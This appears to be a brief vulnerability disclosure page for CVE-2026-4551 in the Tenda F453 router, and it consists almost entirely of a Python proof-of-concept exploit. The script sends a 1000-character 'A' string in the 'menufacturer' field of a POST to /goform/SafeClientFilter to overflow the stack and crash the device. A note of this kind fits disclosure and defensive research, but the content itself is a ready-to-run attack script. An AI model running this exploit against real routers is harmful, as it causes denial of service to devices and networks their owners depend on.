CVE-2026-4551 Tenda F453栈溢出漏洞

import requests # Target IP address of the vulnerable Tenda F453 router target_ip = "192.168.0.1" # Vulnerable endpoint url = f"http://{target_ip}/goform/SafeClientFilter" # Vulnerable parameter: 'menufacturer' # Creating a large payload to trigger stack-based buffer overflow. # Fill the buffer with 'A' characters (0x41) to overwrite the return address. payload = "A" * 1000 # Data payload to be sent in the POST request data = { "menufacturer": payload } try: print(f"Sending exploit payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) # Check if the request was sent (device might crash before responding) if response.status_code == 200: print("Request sent successfully, check device status for crash.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.RequestException as e: # Connection error often indicates a successful crash (DoS) print(f"Connection error: {e}. The target may have crashed.")